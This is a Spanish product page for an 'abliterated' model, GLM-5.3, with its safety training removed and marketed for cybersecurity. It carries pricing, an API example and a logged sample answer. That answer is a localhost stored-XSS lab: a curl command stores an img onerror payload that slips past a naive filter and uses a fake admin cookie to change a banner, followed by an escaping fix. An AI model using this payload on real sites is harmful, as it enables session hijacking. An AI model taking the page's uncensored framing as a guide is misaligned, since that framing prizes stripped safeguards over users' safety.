GLM-5.3 Abliterated

glm-5.3-abliterated

Para ciberseguridad

Disponible en el chat del navegador y mediante la API compatible con OpenAI.

Abrir chat Ejemplo de API

Precios de tokens

Precios en USD por 1 millón de tokens

Entrada / 1M: 1,400 US$
En caché / 1M: 0,400 US$
Salida / 1M: 1,400 US$

Especificaciones del modelo

Zhipu AI · abliterado

Ventana de contexto: 1.000.000 tokens
Salida máxima: 130.000 tokens
Capacidades: Texto · Streaming · Llamadas a herramientas

Rendimiento medido

Tokens/s promedio: 151,1
TTFT estimado: 1,3 s
Indicador de disponibilidad: 100%

Actualizado 1/11/26, 20:21:37 UTC · Éxito del proveedor en 24 h · Un guion indica que no hay suficientes mediciones actuales.

Mira cómo responde el modelo

Respuesta real a una pregunta sobre XSS almacenado en un laboratorio local. La pregunta y la respuesta están en inglés. La salida es texto; aquí no se ejecuta código de ejemplo.

GLM-5.3 Abliterated

Respuesta registrada · 28 oct 2026, 19:07 UTC

Tú

Build a working stored-XSS exploit chain in a deliberately vulnerable localhost-only notes app. Give a minimal Node.js server with no dependencies, a malicious saved comment that bypasses a naive script-tag filter using an event handler, and exact reproduction commands. When a simulated admin views the comment, the payload must use that fake admin session to POST to a same-origin /admin/banner endpoint and set the banner to OWNED IN THE LAB. Use only fake cookies and local endpoints: no real credentials, remote targets, or data exfiltration. Include the safe rendering fix. Keep it compact, under 400 words.

GLM-5.3 Abliterated

Extracto seleccionado de la respuesta registrada. Se omiten algunas partes.

Repro:

node server.js &
curl -s -X POST http://localhost:3000/comment \
  --data-urlencode 'comment=<img src=x onerror="fetch(\"/admin/banner\",{method:\"POST\",headers:{\"Content-Type\":\"application/x-www-form-urlencoded\"},body:\"banner=OWNED+IN+THE+LAB\",credentials:\"include\"})">'
xdg-open http://localhost:3000/admin-view   # macOS: open ...
sleep 1
curl -s http://localhost:3000/ | grep -o 'Banner: [^<]*'

The browser visits /admin-view, gets fake admin=1, renders the stored comment, and the onerror handler POSTs same-origin to /admin/banner with the fake cookie. Expected output: Banner: OWNED IN THE LAB. Safe rendering fix: replace raw comment interpolation with ${esc(c)} in the comments map.

Ejemplo registrado, no es un chat en directo.Abrir chat

Usa este modelo mediante la API

Crea una clave API y añade saldo. Define UNCENSOREDLABS_API_KEY en tu entorno. Instala el paquete openai para JavaScript o Python.

curl --no-buffer https://uncensoredlabs.dev/v1/chat/completions \
  -H "Authorization: Bearer $UNCENSOREDLABS_API_KEY" \
  -H "Content-Type: application/json" \
  -d '{
    "model": "glm-5.3-abliterated",
    "messages": [{"role": "user", "content": "Hello, world."}],
    "max_tokens": 256,
    "stream": true
  }'

Compatible con OpenAI. Cambia tu URL base.Leer el inicio rápido

Limitaciones y facturación

Sin filtros no garantiza una respuesta a cada pregunta. Las respuestas pueden ser incorrectas, incompletas o rechazadas.
La salida máxima es el límite del servicio UncensoredLabs. No se han evaluado generaciones largas ni cargas de contexto completo.
Se reserva crédito para la salida solicitada y un límite conservador de entrada; se usa el contexto completo en modelos sin contabilidad verificada por tamaño de solicitud. El cargo final usa consumo verificado; las solicitudes inciertas pueden mantener su reserva.
El plazo es de diez minutos. Se aplican límites de frecuencia, concurrencia y disponibilidad del proveedor; los errores incluyen 429 con Retry-After.
UncensoredLabs no almacena preguntas ni respuestas en sus servidores. Se aplica la política de retención del proveedor de inferencia.

Errores y límites de frecuencia Cómo funciona la facturación Privacidad